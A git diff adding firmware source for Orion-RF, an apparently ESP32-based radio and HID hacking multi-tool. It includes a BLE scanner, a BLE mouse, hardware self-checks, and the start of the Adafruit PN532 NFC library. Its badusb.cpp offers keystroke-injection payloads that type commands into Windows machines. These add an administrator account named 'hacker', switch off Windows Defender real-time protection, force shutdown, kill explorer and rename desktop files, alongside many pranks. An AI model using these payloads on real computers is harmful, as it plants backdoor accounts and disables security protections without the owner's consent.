diff options
Diffstat (limited to 'src')
36 files changed, 6357 insertions, 0 deletions
diff --git a/src/badusb.cpp b/src/badusb.cpp new file mode 100644 index 0000000..37d5ea7 --- /dev/null +++ b/src/badusb.cpp @@ -0,0 +1,398 @@ +#include <Arduino.h> +#include <USBHIDKeyboard.h> +#include "ui/display.h" + +extern USBHIDKeyboard Keyboard; + +void runCommand(const char *command) { + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('r'); + delay(100); + Keyboard.releaseAll(); + delay(300); + Keyboard.print(command); + Keyboard.write(KEY_RETURN); +} + +void showRunningScreen(String taskName, uint8_t duration = 5) { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x12_tf); + u8g2.drawStr(0, 15, "Running:"); + u8g2.drawStr(0, 30, taskName.c_str()); + u8g2.drawFrame(0, 45, 128, 10); + + static const unsigned char image_download_bits[] U8X8_PROGMEM = { + 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00, + 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, + 0x00, 0x60, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x60, 0x00, 0x0f, 0x00, 0x00, + 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02, + 0x00, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3e, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, + 0x00, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0e, + 0x00, 0x80, 0x01, 0x00, 0x00, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, + 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, + 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00}; + static const unsigned char image_EviSmile1_bits[] U8X8_PROGMEM = { + 0x0c, 0xc0, 0x00, 0x06, 0x80, 0x01, 0x07, 0x80, 0x03, 0xcf, 0xcf, + 0x03, 0xff, 0xff, 0x03, 0xff, 0xff, 0x03, 0xfe, 0xff, 0x01, 0xfe, + 0xff, 0x01, 0xfe, 0xff, 0x01, 0xf7, 0xbf, 0x03, 0xe7, 0x9f, 0x03, + 0xc7, 0x8f, 0x03, 0x87, 0x87, 0x03, 0x8f, 0xc7, 0x03, 0xff, 0xff, + 0x03, 0xfe, 0xff, 0x01, 0xde, 0xef, 0x01, 0xbc, 0xf4, 0x00, 0x78, + 0x78, 0x00, 0xf0, 0x3f, 0x00, 0xc0, 0x0f, 0x00}; + + u8g2.setFontMode(1); + u8g2.setBitmapMode(1); + // download + u8g2.drawXBMP(80, 2, 48, 22, image_download_bits); + + // EviSmile1 + u8g2.drawXBMP(62, 1, 18, 21, image_EviSmile1_bits); + + for (uint8_t i = 0; i <= duration; i++) { + u8g2.drawBox(1, 46, i * (126.0 / duration), 8); + u8g2.sendBuffer(); + delay(50); + } +} + + +void badUSBMenu(int index) { + //switch (index) + // { + // case 0: + // runBadUSBDemo(); + // break; + + // case 1: + // Serial.println("Open CMD payload"); + // runBadUSBOpenCMD(); + // break; + + // case 2: + // Serial.println("Rickroll payload"); + // runBadUSBRickroll(); + // break; + // } + + + switch(index) { + case 0: // demo + + showRunningScreen("DEMO"); + + // Run dialog (Win + R) + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('r'); + Keyboard.releaseAll(); + delay(1000); + + Keyboard.println("notepad"); + delay(1500); + + delay(2000); + + Keyboard.println("YOU HAVE BEEN HACKED BY ORION-RF"); + Keyboard.println("#-FEATURES:"); + Keyboard.println("1- WIFI ATTACKS"); + Keyboard.println("2- BLE ATTACKS"); + Keyboard.println("3- BAD USB"); + Keyboard.println("4- NFC"); + Keyboard.println("5- INFRARED"); + Keyboard.println("6- SUB-GHZ"); + Keyboard.println("7- GPIO"); + Keyboard.println("8- APPS"); + Keyboard.println("9- SETTINGS"); + Keyboard.println("10- FILES"); + + break; + case 1: // keyboard + //runLoop(hidkeyboard); + break; + case 2: // saved scripts + //hidInit(); + //runLoop(hidscriptmenu); + + break; + + case 3: // Open Notepad + + showRunningScreen("notepad"); + runCommand("notepad"); + break; + case 4: // Open CMD + showRunningScreen("opening cmd"); + runCommand("cmd"); + break; + case 5: // Show IP + showRunningScreen("Getting IP"); + runCommand("cmd"); + delay(500); + Keyboard.print("ipconfig"); + Keyboard.write(KEY_RETURN); + break; + case 6: // Shutdown + showRunningScreen("shutdown"); + runCommand("shutdown /s /t 0"); + break; + case 7: // RickRoll + showRunningScreen("rickroll"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://www.youtube.com/watch?v=dQw4w9WgXcQ"); + Keyboard.write(KEY_RETURN); + break; + case 8: // Create Admin User + showRunningScreen("create admin user"); + runCommand("cmd"); + delay(500); + Keyboard.print("net user hacker 1234 /add"); + Keyboard.write(KEY_RETURN); + delay(300); + Keyboard.print("net localgroup administrators hacker /add"); + Keyboard.write(KEY_RETURN); + break; + case 9: // Disable Windows Defender + showRunningScreen("disable windoes defender"); + runCommand("powershell"); + delay(500); + Keyboard.print("Set-MpPreference -DisableRealtimeMonitoring $true"); + Keyboard.write(KEY_RETURN); + break; + case 10: // Open YouTube + showRunningScreen("youtube"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://www.youtube.com"); + Keyboard.write(KEY_RETURN); + break; + case 11: // Lock PC + showRunningScreen("lock pc"); + runCommand("rundll32.exe user32.dll,LockWorkStation"); + break; + case 12: // Fake Update + showRunningScreen("fake update"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://fakeupdate.net/win10u/"); + Keyboard.write(KEY_RETURN); + break; + + case 13: // Endless Notepad + showRunningScreen("endless notepad"); + for (int i = 0; i < 10; i++) { + runCommand("notepad"); + delay(500); + } + break; + + case 14: // Fake BSOD (opens fullscreen image) + showRunningScreen(" fake bsod"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://fakeupdate.net/bsod/"); + Keyboard.write(KEY_RETURN); + break; + + case 15: // Flip screen + showRunningScreen("Flip screen"); + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press(KEY_LEFT_ALT); + Keyboard.press(KEY_DOWN_ARROW); + delay(100); + Keyboard.releaseAll(); + break; + + case 16: // Matrix effect + showRunningScreen("Matrix effect"); + runCommand("cmd"); + delay(500); + Keyboard.print("color 0A"); + Keyboard.write(KEY_RETURN); + Keyboard.print(":a"); + Keyboard.write(KEY_RETURN); + Keyboard.print("echo %random%%random%%random%%random%"); + Keyboard.write(KEY_RETURN); + Keyboard.print("goto a"); + Keyboard.write(KEY_RETURN); + break; + + case 17: // I'm watching you prank + showRunningScreen(" iam watching you"); + for (int i = 0; i < 5; i++) { + runCommand("notepad"); + delay(1000); + Keyboard.print("I'm watching you..."); + delay(5000); + } + break; + + case 18: // Open Google + showRunningScreen("open google"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://www.google.com"); + Keyboard.write(KEY_RETURN); + break; + + case 19: // Open telegram + showRunningScreen("open telegram"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://web.telegram.org/"); + Keyboard.write(KEY_RETURN); + break; + + case 20: // Alarm Sound + showRunningScreen("alarm sound"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://www.soundjay.com/button/beep-07.wav"); + Keyboard.write(KEY_RETURN); + break; + + case 21: // Endless CMD + showRunningScreen("endless smd"); + for (int i = 0; i < 20; i++) { + runCommand("cmd"); + delay(300); + } + break; + + case 22: // Gibberish + showRunningScreen("gibberish"); + for (int i = 0; i < 100; i++) { + char c = random(33, 127); + Keyboard.write(c); + delay(50); + } + break; + + case 23: // CAPSLOCK Spam + showRunningScreen("caps lock spam"); + for (int i = 0; i < 10; i++) { + Keyboard.press(KEY_CAPS_LOCK); + delay(200); + Keyboard.release(KEY_CAPS_LOCK); + delay(200); + } + break; + + case 24: // Calculator + showRunningScreen("claculator"); + runCommand("calc"); + break; + + case 25: // Auto Type "Hacked!" + showRunningScreen("hacked"); + for (int i = 0; i < 5; i++) { + Keyboard.print("Hacked!"); + Keyboard.write(KEY_RETURN); + delay(1000); + } + break; + + case 26: // Turn off monitor (Windows only) + showRunningScreen("turn off monitor"); + runCommand("powershell"); + delay(500); + Keyboard.print( + "(Add-Type '[DllImport(\"user32.dll\")]public static extern int " + "SendMessage(int hWnd, int hMsg, int wParam, int lParam);' -Name a " + "-Pas)::SendMessage(-1,0x0112,0xF170,2)"); + Keyboard.write(KEY_RETURN); + break; + + case 27: // RegEdit + showRunningScreen("regedit"); + runCommand("regedit"); + break; + + case 28: // Kill Explorer + showRunningScreen(" kill explorer"); + runCommand("taskkill /f /im explorer.exe"); + break; + + case 29: // Flash screen (by changing background rapidly) + showRunningScreen(" flash screen"); + for (int i = 0; i < 10; i++) { + runCommand("color 4F"); + delay(200); + runCommand("color 1F"); + delay(200); + } + break; + + case 30: // Rename Desktop Files (basic prank) + + showRunningScreen("rename desktop files"); + runCommand("powershell"); + delay(500); + Keyboard.print("Get-ChildItem \"$env:USERPROFILE\\Desktop\" | " + "Rename-Item -NewName {'hacked'+$_.Name}"); + Keyboard.write(KEY_RETURN); + break; + + case 31: // Toggle WiFi (requires admin) + showRunningScreen("toggle wifi"); + runCommand("cmd"); + delay(500); + Keyboard.print("netsh interface set interface Wi-Fi disabled"); + Keyboard.write(KEY_RETURN); + delay(1000); + Keyboard.print("netsh interface set interface Wi-Fi enabled"); + Keyboard.write(KEY_RETURN); + break; + + case 32: // Screenshot + showRunningScreen("screenshot"); + runCommand("powershell"); + delay(500); + Keyboard.print("Add-Type -AssemblyName System.Windows.Forms;"); + Keyboard.write(KEY_RETURN); + delay(300); + Keyboard.print("[System.Windows.Forms.SendKeys]::SendWait('%{PRTSC}')"); + Keyboard.write(KEY_RETURN); + break; + + case 33: // Emoji spam + showRunningScreen("emoji spam"); + for (int i = 0; i < 10; i++) { + Keyboard.print("💀"); + Keyboard.write(KEY_RETURN); + delay(500); + } + break; + + case 34: // Control Panel + showRunningScreen("control panel"); + runCommand("control"); + break; + + case 35: // Troll wallpaper + showRunningScreen("troll wallpaper"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://i.imgur.com/trollface.png"); + Keyboard.write(KEY_RETURN); + break; + + case 36: // MS Paint + showRunningScreen("ms paint"); + runCommand("mspaint"); + break; + + case 37: // Auto Tab Switcher + showRunningScreen(" auto tab switcher"); + for (int i = 0; i < 10; i++) { + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press(KEY_TAB); + delay(100); + Keyboard.releaseAll(); + delay(300); + } + break; +} +} + + diff --git a/src/badusb.h b/src/badusb.h new file mode 100644 index 0000000..a3390ec --- /dev/null +++ b/src/badusb.h @@ -0,0 +1,5 @@ +#pragma once + +void badUSBMenu(int index); +void showRunningScreen(String taskName, uint8_t duration); +void runCommand(const char *command); diff --git a/src/ble_mouse.cpp b/src/ble_mouse.cpp new file mode 100644 index 0000000..0035eb5 --- /dev/null +++ b/src/ble_mouse.cpp @@ -0,0 +1,74 @@ +#include <Arduino.h> +#include <BleMouse.h> +#include "badusb.h" +#include "config.h" + +#include "buttons.h" +#include "ui/display.h" + +// ===== BLE MOUSE ===== +// BleMouse bleMouse("Orion-RF", "Orion-RF", 100); +extern BleMouse bleMouse; + +// ===== MAIN ===== +void ble_mouse_run() +{ + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(10, 25, "BLE Mouse"); + u8g2.drawStr(10, 45, "Connecting..."); + u8g2.sendBuffer(); + + delay(800); + + while (1) + { + // 🔥 EXIT FIRST (clean) + if (btnBack()) break; + + bool connected = bleMouse.isConnected(); + + int dx = 0; + int dy = 0; + + if (connected) + { + if (!digitalRead(BTN_UP)) dy = -6; + if (!digitalRead(BTN_DOWN)) dy = 6; + if (!digitalRead(BTN_LEFT)) dx = -6; + if (!digitalRead(BTN_RIGHT)) dx = 6; + + if (dx || dy) + bleMouse.move(dx, dy); + + // ✅ single click (not spam) + static bool lastSelect = false; + bool currentSelect = !digitalRead(BTN_SELECT); + + if (currentSelect && !lastSelect) + bleMouse.click(MOUSE_LEFT); + + lastSelect = currentSelect; + } + + // ===== UI ===== + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + + u8g2.drawStr(10, 20, "BLE Mouse"); + + if (connected) + u8g2.drawStr(10, 35, "Connected"); + else + u8g2.drawStr(10, 35, "Waiting"); + + u8g2.drawStr(10, 55, "BACK = Exit"); + + u8g2.sendBuffer(); + + delay(10); // important for BLE stability + } +} + + + diff --git a/src/ble_mouse.h b/src/ble_mouse.h new file mode 100644 index 0000000..fc6a4cc --- /dev/null +++ b/src/ble_mouse.h @@ -0,0 +1,3 @@ +#pragma once + +void ble_mouse_run(); diff --git a/src/blescanner.cpp b/src/blescanner.cpp new file mode 100644 index 0000000..ba12568 --- /dev/null +++ b/src/blescanner.cpp @@ -0,0 +1,209 @@ +#include <Arduino.h> +#include <BLEDevice.h> +#include <BLEScan.h> +#include <BLEAdvertisedDevice.h> +#include <vector> + +#include "ui/display.h" +#include "buttons.h" +#include "config.h" + +// ===== DEVICE STRUCT ===== +struct BLEDeviceInfo { + String name; + String address; + int rssi; + String manufacturer; + String deviceType; +}; + +static std::vector<BLEDeviceInfo> devices; +static BLEScan *pBLEScan; +static int selectedIndex = 0; + +// ===== CALLBACK ===== +class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks { + void onResult(BLEAdvertisedDevice advertisedDevice) override { + BLEDeviceInfo dev; + + String tempName = advertisedDevice.getName().c_str(); + + if (tempName.length() == 0 && advertisedDevice.haveServiceData()) { + tempName = advertisedDevice.getServiceData().c_str(); + } + + if (tempName.length() == 0) { + String addr = advertisedDevice.getAddress().toString().c_str(); + tempName = "BLE_" + addr.substring(addr.length() - 5); + } + + dev.name = tempName; + dev.address = advertisedDevice.getAddress().toString().c_str(); + dev.rssi = advertisedDevice.getRSSI(); + + if (advertisedDevice.haveManufacturerData()) { + String mData = advertisedDevice.getManufacturerData().c_str(); + + if (mData.length() >= 2) { + char buffer[10]; + sprintf(buffer, "0x%02X%02X", + (uint8_t)mData[1], + (uint8_t)mData[0]); + dev.manufacturer = String(buffer); + } else { + dev.manufacturer = "unknown"; + } + } else { + dev.manufacturer = "unknown"; + } + + if (advertisedDevice.haveServiceUUID()) { + dev.deviceType = + advertisedDevice.getServiceUUID().toString().c_str(); + } else { + dev.deviceType = "unknown"; + } + + devices.push_back(dev); + } +}; + +// ===== DRAW MENU ===== +void ble_drawMenu() +{ + u8g2.clearBuffer(); + + if (devices.empty()) + { + u8g2.setFont(u8g2_font_6x12_tr); + u8g2.drawStr(0, 30, "No devices"); + u8g2.drawStr(0, 45, "Press BACK"); + } + else + { + u8g2.setFont(u8g2_font_5x8_tr); + + char counter[20]; + sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size()); + u8g2.drawStr(0, 8, counter); + + u8g2.setFont(u8g2_font_6x10_tr); + + for (int i = 0; i < 3; i++) + { + int idx = selectedIndex + i; + if (idx >= devices.size()) break; + + int y = 22 + i * 14; + + if (i == 0) + { + u8g2.drawBox(0, y - 10, 128, 12); + u8g2.setDrawColor(0); + } + + String text = devices[idx].name; + if (text.length() > 12) + text = text.substring(0, 12) + ".."; + + text += " (" + String(devices[idx].rssi) + ")"; + + u8g2.drawStr(2, y, text.c_str()); + + if (i == 0) + u8g2.setDrawColor(1); + } + } + + u8g2.sendBuffer(); +} + +// ===== DEVICE DETAILS ===== +void ble_drawDetails(const BLEDeviceInfo &dev) +{ + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + + u8g2.drawStr(0, 10, dev.name.c_str()); + u8g2.drawStr(0, 20, dev.address.c_str()); + + char rssiStr[20]; + sprintf(rssiStr, "RSSI: %d", dev.rssi); + u8g2.drawStr(0, 30, rssiStr); + + u8g2.drawStr(0, 40, dev.manufacturer.c_str()); + + u8g2.sendBuffer(); +} + +// ===== SCAN ===== +void ble_scan() +{ + devices.clear(); + + u8g2.clearBuffer(); + u8g2.drawStr(10, 30, "Scanning..."); + u8g2.sendBuffer(); + + BLEDevice::init(""); + + pBLEScan = BLEDevice::getScan(); + pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), false); + pBLEScan->setActiveScan(true); + pBLEScan->setInterval(100); + pBLEScan->setWindow(99); + + pBLEScan->start(5, false); + + // remove duplicates + std::vector<BLEDeviceInfo> unique; + for (auto &d : devices) + { + bool exists = false; + for (auto &u : unique) + { + if (u.address == d.address) + { + exists = true; + break; + } + } + if (!exists) unique.push_back(d); + } + + devices = unique; +} + +// ===== MAIN LOOP ===== +void ble_loop() +{ + static uint32_t lastPress = 0; + + if (millis() - lastPress < 200) + return; + + if (btnDown() && selectedIndex < (int)devices.size() - 1) + { + selectedIndex++; + ble_drawMenu(); + lastPress = millis(); + } + else if (btnUp() && selectedIndex > 0) + { + selectedIndex--; + ble_drawMenu(); + lastPress = millis(); + } + else if (btnSelect() && !devices.empty()) + { + ble_drawDetails(devices[selectedIndex]); + delay(3000); + ble_drawMenu(); + lastPress = millis(); + } + else if (btnBack()) + { + lastPress = millis(); + return; + } +} diff --git a/src/blescanner.h b/src/blescanner.h new file mode 100644 index 0000000..a642de2 --- /dev/null +++ b/src/blescanner.h @@ -0,0 +1,5 @@ +#pragma once + +void ble_scan(); +void ble_loop(); +void ble_drawMenu(); diff --git a/src/buttons.cpp b/src/buttons.cpp new file mode 100644 index 0000000..27ce40b --- /dev/null +++ b/src/buttons.cpp @@ -0,0 +1,20 @@ +#include "buttons.h" +#include <Arduino.h> +#include "config.h" + +void buttonsInit() +{ + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_SELECT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_LEFT, INPUT_PULLUP); +} + +bool btnUp() { return !digitalRead(BTN_UP); } +bool btnDown() { return !digitalRead(BTN_DOWN); } +bool btnSelect() { return !digitalRead(BTN_SELECT); } +bool btnBack() { return !digitalRead(BTN_BACK); } +bool btnRight() { return !digitalRead(BTN_RIGHT); } +bool btnLeft() { return !digitalRead(BTN_LEFT); } diff --git a/src/buttons.h b/src/buttons.h new file mode 100644 index 0000000..cfa9fa3 --- /dev/null +++ b/src/buttons.h @@ -0,0 +1,10 @@ +#pragma once + +void buttonsInit(); + +bool btnUp(); +bool btnDown(); +bool btnSelect(); +bool btnBack(); +bool btnRight(); +bool btnLeft(); diff --git a/src/config.h b/src/config.h new file mode 100644 index 0000000..3cb47b5 --- /dev/null +++ b/src/config.h @@ -0,0 +1,48 @@ +#pragma once + +// ================= NRF24 ================= +#define CE1_PIN 10 +#define CSN1_PIN 11 + +#define CE2_PIN 12 +#define CSN2_PIN 13 + +#define NRF_SCK 18 +#define NRF_MISO 16 +#define NRF_MOSI 17 + +// ================== OLED =================== +#define OLED_SDA_PIN 8 +#define OLED_SCL_PIN 9 + +/////////////////cc1101 vars////////////// +// CC1101 via FSPI +#define cc1101_SCK 15 +#define cc1101_MISO 3 +#define cc1101_MOSI 35 + +//////////////cc1101(1)////////// +#define CC1101_CS 45 +#define CC1101_GDO0 21 +#define CC1101_GDO2 47 + +/////////////cc1101(2)////////// +#define CC1101_2_CS 40 +#define CC1101_2_GDO0 41 +#define CC1101_2_GDO2 42 + +// SD Card via HSPI +#define SD_SCK 14 +#define SD_MISO 39 +#define SD_MOSI 38 +#define SD_CS 37 + + +// =================== Buttons ==================== +#define BTN_UP 4 +#define BTN_DOWN 5 +#define BTN_SELECT 6 +#define BTN_BACK 7 +#define BTN_LEFT 1 +#define BTN_RIGHT 2 + diff --git a/src/device_check.cpp b/src/device_check.cpp new file mode 100644 index 0000000..adebe48 --- /dev/null +++ b/src/device_check.cpp @@ -0,0 +1,207 @@ +#include <Arduino.h> +#include <SPI.h> +#include <Wire.h> +#include <RF24.h> +#include "libs/ELECHOUSE_CC1101_SRC_DRV.h" + +#include "ui/display.h" +#include "buttons.h" +#include "config.h" + +// ===== EXTERNALS ===== +extern RF24 radio1; +extern RF24 radio2; +extern SPIClass *RADIO_SPI; +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +// ===== RESULTS ===== +struct DeviceStatus { + bool nrf1 = false; + bool nrf2 = false; + bool cc1101_1 = false; + bool cc1101_2 = false; + bool oled = true; + bool buttons = false; +}; + +// ===== NRF CHECK ===== +//bool checkNRF(RF24 &radio) +//{ +// // safer: only init if needed +// if (!radio.isChipConnected()) { +// if (!radio.begin(RADIO_SPI)) +// return false; +// } +// +// return radio.isChipConnected(); +//} + +bool checkNRF(RF24 &radio) +{ + radio.powerDown(); + delay(5); + + if (!radio.begin(RADIO_SPI)) + return false; + + delay(5); + + return radio.isChipConnected(); +} + +// ===== CC1101 CHECK ===== +bool checkCC1101(uint8_t csPin) +{ + ELECHOUSE_cc1101.setSpiPin( + cc1101_SCK, + cc1101_MISO, + cc1101_MOSI, + csPin + ); + + delay(5); + + return ELECHOUSE_cc1101.getCC1101(); +} + +// ===== BUTTON CHECK ===== +bool checkButtons() +{ + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 20, "Press any button..."); + u8g2.sendBuffer(); + + unsigned long start = millis(); + + while (millis() - start < 2000) + { + if (!digitalRead(BTN_UP) || + !digitalRead(BTN_DOWN) || + !digitalRead(BTN_SELECT) || + !digitalRead(BTN_BACK) || + !digitalRead(BTN_RIGHT) || + !digitalRead(BTN_LEFT)) + { + return true; + } + } + + return false; +} + +// ===== DRAW ===== +#define MAX_ITEMS 6 +#define VISIBLE_ROWS 5 + +const char* labels[MAX_ITEMS] = { + "NRF1", + "NRF2", + "CC1101-1", + "CC1101-2", + "BUTTONS", + "OLED" +}; + +bool values[MAX_ITEMS]; + +int selectedIndex = 0; +int offset = 0; + +void drawStatus(DeviceStatus &s) +{ + values[0] = s.nrf1; + values[1] = s.nrf2; + values[2] = s.cc1101_1; + values[3] = s.cc1101_2; + values[4] = s.buttons; + values[5] = s.oled; + + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + + // scrolling logic + if (selectedIndex < offset) + offset = selectedIndex; + + if (selectedIndex >= offset + VISIBLE_ROWS) + offset = selectedIndex - VISIBLE_ROWS + 1; + + for (int i = 0; i < VISIBLE_ROWS; i++) + { + int item = offset + i; + if (item >= MAX_ITEMS) break; + + int y = 12 + i * 10; + + if (item == selectedIndex) + { + u8g2.drawBox(0, y - 9, 128, 10); + u8g2.setDrawColor(0); + } + + u8g2.drawStr(2, y, labels[item]); + + if (values[item]) + u8g2.drawStr(80, y, "OK"); + else + u8g2.drawStr(80, y, "FAIL"); + + if (item == selectedIndex) + u8g2.setDrawColor(1); + } + + u8g2.sendBuffer(); +} + +// ===== MAIN ===== +void device_check_run() +{ + DeviceStatus status; + + Serial.println("Running device diagnostics..."); + + // NRF + status.nrf1 = checkNRF(radio1); + status.nrf2 = checkNRF(radio2); + + // CC1101 + status.cc1101_1 = checkCC1101(CC1101_CS); + status.cc1101_2 = checkCC1101(CC1101_2_CS); + //status.cc1101_1 = status.cc1101_2 = false; + + // Buttons + status.buttons = checkButtons(); + + drawStatus(status); + + Serial.println("Diagnostics complete"); + + while (1) +{ + drawStatus(status); + + if (btnUp()) + { + selectedIndex--; + if (selectedIndex < 0) selectedIndex = MAX_ITEMS - 1; + delay(150); + } + + if (btnDown()) + { + selectedIndex++; + if (selectedIndex >= MAX_ITEMS) selectedIndex = 0; + delay(150); + } + + if (btnBack()) + { + delay(150); + break; + } +}} + + + diff --git a/src/device_check.h b/src/device_check.h new file mode 100644 index 0000000..3d6b250 --- /dev/null +++ b/src/device_check.h @@ -0,0 +1,3 @@ +#pragma once + +void device_check_run(); diff --git a/src/libs/Adafruit_PN532.cpp b/src/libs/Adafruit_PN532.cpp new file mode 100644 index 0000000..4665656 --- /dev/null +++ b/src/libs/Adafruit_PN532.cpp @@ -0,0 +1,1820 @@ +/**************************************************************************/ +/*! + @file Adafruit_PN532.cpp + + @section intro_sec Introduction + + Driver for NXP's PN532 NFC/13.56MHz RFID Transceiver + + This is a library for the Adafruit PN532 NFC/RFID breakout boards + This library works with the Adafruit NFC breakout + ----> https://www.adafruit.com/products/364 + + Check out the links above for our tutorials and wiring diagrams + These chips use SPI or I2C to communicate. + + Adafruit invests time and resources providing this open source code, + please support Adafruit and open-source hardware by purchasing + products from Adafruit! + + @section author Author + + Adafruit Industries + + @section license License + + BSD (see license.txt) + + @section HISTORY + + v2.2 - Added startPassiveTargetIDDetection() to start card detection and + readDetectedPassiveTargetID() to read it, useful when using the + IRQ pin. + + v2.1 - Added NTAG2xx helper functions + + v2.0 - Refactored to add I2C support from Adafruit_NFCShield_I2C library. + + v1.4 - Added setPassiveActivationRetries() + + v1.2 - Added writeGPIO() + - Added readGPIO() + + v1.1 - Changed readPassiveTargetID() to handle multiple UID sizes + - Added the following helper functions for text display + static void PrintHex(const byte * data, const uint32_t numBytes) + static void PrintHexChar(const byte * pbtData, const uint32_t + numBytes) + - Added the following Mifare Classic functions: + bool mifareclassic_IsFirstBlock (uint32_t uiBlock) + bool mifareclassic_IsTrailerBlock (uint32_t uiBlock) + uint8_t mifareclassic_AuthenticateBlock (uint8_t * uid, uint8_t + uidLen, uint32_t blockNumber, uint8_t keyNumber, uint8_t * keyData) uint8_t + mifareclassic_ReadDataBlock (uint8_t blockNumber, uint8_t * data) uint8_t + mifareclassic_WriteDataBlock (uint8_t blockNumber, uint8_t * data) + - Added the following Mifare Ultalight functions: + uint8_t mifareultralight_ReadPage (uint8_t page, uint8_t * buffer) +*/ +/**************************************************************************/ + +#include "Adafruit_PN532.h" + +byte pn532ack[] = {0x00, 0x00, 0xFF, + 0x00, 0xFF, 0x00}; ///< ACK message from PN532 +byte pn532response_firmwarevers[] = { + 0x00, 0x00, 0xFF, + 0x06, 0xFA, 0xD5}; ///< Expected firmware version message from PN532 + +// Uncomment these lines to enable debug output for PN532(SPI) and/or MIFARE +// related code + +// #define PN532DEBUG +// #define MIFAREDEBUG + +// If using Native Port on Arduino Zero or Due define as SerialUSB +#define PN532DEBUGPRINT Serial ///< Fixed name for debug Serial instance +// #define PN532DEBUGPRINT SerialUSB ///< Fixed name for debug Serial instance + +#define PN532_PACKBUFFSIZ 64 ///< Packet buffer size in bytes +byte pn532_packetbuffer[PN532_PACKBUFFSIZ]; ///< Packet buffer used in various + ///< transactions + +/**************************************************************************/ +/*! + @brief Instantiates a new PN532 class using software SPI. + + @param clk SPI clock pin (SCK) + @param miso SPI MISO pin + @param mosi SPI MOSI pin + @param ss SPI chip select pin (CS/SSEL) +*/ +/**************************************************************************/ +Adafruit_PN532::Adafruit_PN532(uint8_t clk, uint8_t miso, uint8_t mosi, + uint8_t ss) { + _cs = ss; + spi_dev = new Adafruit_SPIDevice(ss, clk, miso, mosi, 1000000, + SPI_BITORDER_LSBFIRST, SPI_MODE0); +} + +/**************************************************************************/ +/*! + @brief Instantiates a new PN532 class using I2C. + + @param irq Location of the IRQ pin + @param reset Location of the RSTPD_N pin + @param theWire pointer to I2C bus to use +*/ +/**************************************************************************/ +Adafruit_PN532::Adafruit_PN532(uint8_t irq, uint8_t reset, TwoWire *theWire) + : _irq(irq), _reset(reset) { + pinMode(_irq, INPUT); + pinMode(_reset, OUTPUT); + i2c_dev = new Adafruit_I2CDevice(PN532_I2C_ADDRESS, theWire); +} + +/**************************************************************************/ +/*! + @brief Instantiates a new PN532 class using hardware SPI. + + @param ss SPI chip select pin (CS/SSEL) + @param theSPI pointer to the SPI bus to use +*/ +/**************************************************************************/ +Adafruit_PN532::Adafruit_PN532(uint8_t ss, SPIClass *theSPI) { + _cs = ss; + spi_dev = new Adafruit_SPIDevice(ss, 1000000, SPI_BITORDER_LSBFIRST, + SPI_MODE0, theSPI); +} + +/**************************************************************************/ +/*! + @brief Instantiates a new PN532 class using hardware UART (HSU). + + @param reset Location of the RSTPD_N pin + @param theSer pointer to HardWare Serial bus to use +*/ +/**************************************************************************/ +Adafruit_PN532::Adafruit_PN532(uint8_t reset, HardwareSerial *theSer) + : _reset(reset) { + pinMode(_reset, OUTPUT); + ser_dev = theSer; +} + +/**************************************************************************/ +/*! + @brief Setups the HW + + @returns true if successful, otherwise false +*/ +/**************************************************************************/ +bool Adafruit_PN532::begin() { + if (spi_dev) { + // SPI initialization + if (!spi_dev->begin()) { + return false; + } + } else if (i2c_dev) { + // I2C initialization + // PN532 will fail address check since its asleep, so suppress + if (!i2c_dev->begin(false)) { + return false; + } + } else if (ser_dev) { + ser_dev->begin(115200); + // clear out anything in read buffer + while (ser_dev->available()) + ser_dev->read(); + } else { + // no interface specified + return false; + } + reset(); // HW reset - put in known state + delay(10); + wakeup(); // hey! wakeup! + return true; +} + +/**************************************************************************/ +/*! + @brief Perform a hardware reset. Requires reset pin to have been provided. +*/ +/**************************************************************************/ +void Adafruit_PN532::reset(void) { + // see Datasheet p.209, Fig.48 for timings + if (_reset != -1) { + digitalWrite(_reset, LOW); + delay(1); // min 20ns + digitalWrite(_reset, HIGH); + delay(2); // max 2ms + } +} + 